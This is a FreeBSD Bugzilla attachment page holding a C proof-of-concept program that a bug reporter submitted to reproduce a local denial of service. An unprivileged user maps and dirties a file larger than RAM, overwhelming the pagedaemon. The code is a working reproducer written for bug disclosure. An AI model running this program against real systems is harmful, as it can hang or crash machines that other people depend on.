FreeBSD Bugzilla – Attachment 150465 Details for
Bug 195882
Local DoS from unprivileged user
Home
|
New
|
Browse
|
Search
|
[?]
|
Reports
|
Help
|
New Account
|
Log In
Remember
[x]
|
Forgot Password
Login:
[x]
example code
testvm.c (text/plain), 1.99 KB, created by
Ivan Rozhuk
on 2014-12-11 08:31:53 UTC
(
hide
)
Description:
example code
Filename:
MIME Type:
Creator:
Ivan Rozhuk
Created:
2014-12-11 08:31:53 UTC
Size:
1.99 KB
patch
obsolete
> >/* rtorrent + FreeBSD pagedaemon prombel simulator > * 2014 Rozhuk Ivan <rozhuk.im@gmail.com> > * > * compile-command: "clang -Wall -O2 -o testvm testvm.c" > */ > > >#include <sys/cdefs.h> >#include <sys/types.h> >#include <sys/stat.h> // chmod, fchmod, umask >#include <sys/uio.h> /* readv, preadv, writev, pwritev */ >#include <sys/mman.h> /* mmap, munmap */ > >#include <errno.h> >#include <fcntl.h> /* open, fcntl */ >#include <stdio.h> /* snprintf, fprintf */ >#include <string.h> /* bcopy, bzero, memcpy, memmove, memset, strnlen, strerror... */ >#include <unistd.h> /* close, write, sysconf */ >#include <stdlib.h> /* malloc, exit */ > >#define LOG_ERR(error, descr) \ > fprintf(stdout, "fn: %s, line: %i, error: %i - %s, %s\n", \ > __FUNCTION__, __LINE__, error, strerror(error), descr); > >int >main(int argc, char *argv[]) { > int error = 0, fd; > const char *file_name = (const char *)"/testvn.tmp"; > off_t mb = (1024 * 1024); /* 1 megabyte. */ > off_t file_size = (4 * 1024 * mb); /* Set to x2 RAM size. */ > off_t write_size = (32 * mb); /* Write block size. */ > off_t i, j, page_size; > uint8_t *mem; > > fd = open(file_name, (O_RDWR | O_CREAT/* | O_DIRECT*/), 0600); > if (-1 == fd) { > error = errno; > LOG_ERR(error, "open()"); > goto err_out; > } > if (0 != flock(fd, LOCK_EX)) { > error = errno; > LOG_ERR(error, "flock()"); > goto err_out; > } > if (0 != ftruncate(fd, file_size)) { > error = errno; > LOG_ERR(error, "ftruncate()"); > goto err_out; > } > > page_size = sysconf(_SC_PAGE_SIZE); > for (i = 0; i < (file_size / write_size); i ++) { > mem = mmap(NULL, write_size, (PROT_READ | PROT_WRITE), > (MAP_SHARED | MAP_NOCORE), fd, (i * write_size)); > if (MAP_FAILED == mem) { > error = errno; > LOG_ERR(error, "mmap()"); > goto err_out; > } > for (j = 0; j < (write_size / page_size); j ++) { > mem[(j * page_size)] = 1; > } > //msync(mem, file_size, MS_SYNC); > //posix_madvise(mem, file_size, MADV_FREE); > munmap(mem, file_size); > } > >err_out: > close(fd); > //unlink(file_name); /* Delete file to free all mem. */ > > return (error); >}
You cannot view the attachment while viewing its details because your browser does not support IFRAMEs.
View the attachment on a separate page
.
View Attachment As Raw
Actions:
View
Attachments on
bug 195882
: 150465